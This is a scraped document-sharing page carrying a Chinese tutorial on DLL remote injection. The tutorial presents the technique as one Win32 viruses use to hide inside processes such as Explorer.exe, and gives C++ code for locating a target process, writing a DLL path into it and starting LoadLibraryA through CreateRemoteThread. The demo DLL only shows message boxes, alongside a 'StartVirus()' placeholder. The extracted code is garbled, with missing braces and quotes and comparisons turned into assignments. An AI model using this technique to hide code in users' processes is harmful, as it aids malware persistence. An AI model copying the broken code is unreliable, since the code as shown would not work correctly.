DLL远程注入 教程(代码)

上传人:夏** 文档编号:491888210 上传时间:2023-04-22 格式:DOCX 页数:7 大小:20.90KB
返回 下载 相关 举报
DLL远程注入 教程(代码)_第1页
第1页 / 共7页
DLL远程注入 教程(代码)_第2页
第2页 / 共7页
DLL远程注入 教程(代码)_第3页
第3页 / 共7页
DLL远程注入 教程(代码)_第4页
第4页 / 共7页
DLL远程注入 教程(代码)_第5页
第5页 / 共7页
点击查看更多>>
资源描述

《DLL远程注入 教程(代码)》由会员分享,可在线阅读,更多相关《DLL远程注入 教程(代码)(7页珍藏版)》请在金锄头文库上搜索。

1、DLL远程注入教程(代码)作者:Gxfa来源:本站原创 更新:2008-10-15 3:44:27 点击:DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进程(如Explorer.exe)中运行。这样一来,普通的进程管理器就很难发现这种病毒了,而且即使发现了也很难清除,因为只要病毒寄生的进程不终止运行,那么这个DLL就不会在内存中卸载,用户也就无法在资源管理器中删除这个DLL文件,真可谓一箭双雕哉。记得2003年QQ尾巴病毒肆虐的时候,就已经有些尾巴病毒的变种在使用这种技术了。到了

2、 2004年初,我曾经尝试着仿真了一个QQ尾巴病毒,但独是跳过了 DLL的远程加载技术。直 到最近在学校论坛上看到了几位朋友在探讨这一技术,便忍不住将这一尘封已久的技术从我 的记忆中拣了出来,以满足广大的技术爱好者们。必备知识在阅读本文之前,你需要了解以下几个API函数:OpenProcess - 用于打开要寄生的目标进程。VirtualAllocEx/VirtualFreeEx -用于在目标进程中分配/释放内存空间。WriteProcessMemory -用于在目标进程中写入要加载的DLL名称。CreateRemoteThread -远程加载DLL的核心内容,用于控制目标进程调用API函数。

3、LoadLibrary -目标进程通过调用此函数来加载病毒DLL。在此我只给出了简要的函数说明,关于函数的详细功能和介绍请参阅MSDN。示例程序我将在以下的篇幅中用一个简单的示例Virus.exe来实现这一技术。这个示例的界面如下图:首先运行Target.exe,这个文件是一个用Win32 Application向导生成的“Hello, World”程序,用来作为寄生的目标进程。然后在界面的编辑控件中输入进程的名称“Target.exe”,单击“注入DLL”按钮,这时候 Virus.exe就会将当前目录下的DLL.dll注入至Targe t.exe进程中。在注入DLL.dll之后,你也可以单击

4、“卸载DLL ”来将已经注入的DLL卸载。点这里下载示例程序模拟的病毒体DLL.dll这是一个简单的Win32 DLL程序,它仅由一个入口函数DllMain组成:1. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )2.3.switch( fdwReason )4.5.case DLL_PROCESS_ATTACH:6.7. MessageBox( NULL, _T(DLL 已进入目标进程。),_T(信息),MB_ICONINFORMATION );8. 9. break;10. cas

5、e DLL_PROCESS_DETACH:11. 12. MessageBox( NULL, _T()LL 已从目标进程卸载。),_T(信息), MB_ICONINFORMATION );13. 14. break;15. 16. return TRUE;17. 如你所见,这里我在DLL被加载和卸载的时候调用了 MessageBox,这是用来显示我的远程注入/卸载工作是否成功完成。而对于一个真正的病毒体来说,它往往就是处理DLL_PROCESS_ATTACH事件,在其中加入了启动病毒代码的部分:C+代码1. case DLL_PROCESS_ATTACH:2. 3. StartVirus();

6、4. 5. break;注入!现在要开始我们的注工作了。首先,我们需要找到目标进程:C+代码1. DWORD FindTarget( LPCTSTR lpszProcess )2. 3. DWORD dwRet = 0;4. HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 )5.PROCESSENTRY32 pe32;6. pe32.dwSize = sizeof( PROCESSENTRY32 );7. Process32First( hSnapshot, &pe32 );8. do9. 10. if (

7、lstrcmpi( pe32.szExeFile, lpszProcess ) = 0 )11.12.dwRet= pe32.th32ProcessID;13.break;14.15. while ( Process32Next( hSnapshot, &pe32 ) );16. CloseHandle( hSnapshot );17. return dwRet;18. 这里我使用了 Tool Help函数库,当然如果你是NT系统的话,也可以选择PSAPI函数库。 这段代码的目的就是通过给定的进程名称来在当前系统中查找相应的进程,并返回该进程的ID。得到进程ID后,就可以调用OpenProce

8、ss来打开目标进程了:C+代码1. / 打开目标进程2. HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessID );现在有必要说一下OpenProcess第一个参数所指定的三种权限。在Win32系统下,每个进程都拥有自己的 4G 虚拟地址空间,各个进程之间都相互独立。如果一个进程需要完成跨进程的工作的话,那么它必须拥有目标进程的相应操作权限。在这里, PROCESS_CREATE_THREAD表示我可以通过返回的进程句柄

9、在该进程中创建新的线程,也就是调用CreateRemoteThread的权限;同理,PROCESS_VM_OPERATION则表示在该进程中分配/释放内存的权限,也就是调用 VirtualAllocEx/VirtualFreeEx 的权限;PROCESS_VM_WRITE 表示可以向该进程的地址空间写入数据,也就是调用WriteProcessMemory的权限。至此目标进程已经打开,那么我们该如何来将DLL注入其中呢?在这之前,我请你看一行代码,是如何在本进程内显式加载DLL的:C+代码1. HMODULE hDll = LoadLibrary( DLL.dll);那么,如果能控制目标进程调用

10、LoadLibrary,不就可以完成DLL的远程注入了么?的确是 这样,我们可以通过CreateRemoteThread将LoadLibrary作为目标进程的一个线程来启动, 这样就可以完成“控制目标进程调用LoadLibrary”的工作了。到这里,也许你会想当然地 写下类似这样的代码:1. DWORD dwID;2. LPVOID pFunc = LoadLibraryA;3. HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)DLL.dll,0, &

11、dwID );不过结果肯定会让你大失所望一注入DLL失败!嗯嗯,那么现在让我们来分析一下失败的原因吧。我是前说过,在Win32系统下,每个进程 都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。在这里,我们当作参数传 入的字符串DLL.dll其实是一个数值,它表示这个字符串位于Virus.exe地址空间之中的 地址,而这个地址在传给Target.exe之后,它指向的东西就失去了有效性。举个例子来说, 譬如A、B两栋大楼,我住在A楼的401;那么B楼的401住的是谁我当然不能确定一一也 就是401这个门牌号在B楼失去了有效性,而且如果我想要入住B楼的话,我就必须请B 楼的楼长为我在B楼中

12、安排新的住处(当然这个新的住处是否401也就不一定了)。由此看来,我就需要做这么一系列略显繁杂的手续一一首先在Target.exe目标进程中分配 一段内存空间,然后向这段空间写入我要加载的DLL名称,最后再调用CreateRemoteThread。这段代码就成了这样:C+代码1. /向目标进程地址空间写入DLL名称2. DWORD dwSize, dwWritten;3. dwSize = lstrlenA( lpszDll ) + 1;4. LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READ

13、WRITE );5. if ( NULL = lpBuf )6. 7. CloseHandle( hProcess );8. / 失败处理9. 10.if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &dwWritten ) )11. 12. / 要写入字节数与实际写入字节数不相等,仍属失败13. if ( dwWritten != dwSize )14. 15. VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );16. CloseHandle( hP

14、rocess );17. / 失败处理18. 19. 20. else21. 22. CloseHandle( hProcess );23. / 失败处理24. 25. /使目标进程调用LoadLibrary,加载DLL26. DWORD dwID;27. LPVOID pFunc = LoadLibraryA;28. HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );需要说的有两点,一是由于我要在目标进程中为 ANSI 字符串来分配内

15、存空间,所以这里凡是和目标进程相关的部分,都明确使用了后缀为“A”的API函数一一当然,如果要使用Unicode字符串的话,可以换作后缀是“W”的API;第二,在这里LoadLibrary的指针我是取的本进程的LoadLibraryA的地址,这是因为LoadLibraryA/LoadLibraryW位于kernel32.dll之中,而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址,所以这里的函数地址在Target.exe中也是有效的。在调用LoadLibrary完毕之后,我们就可以做收尾工作了:C+代码1. /等待LoadLibrary加载完毕2. WaitForSingleObject( hThread, INFINITE );3. / 释放目标进程中申请的空间4. VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 学术论文 > 其它学术论文

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号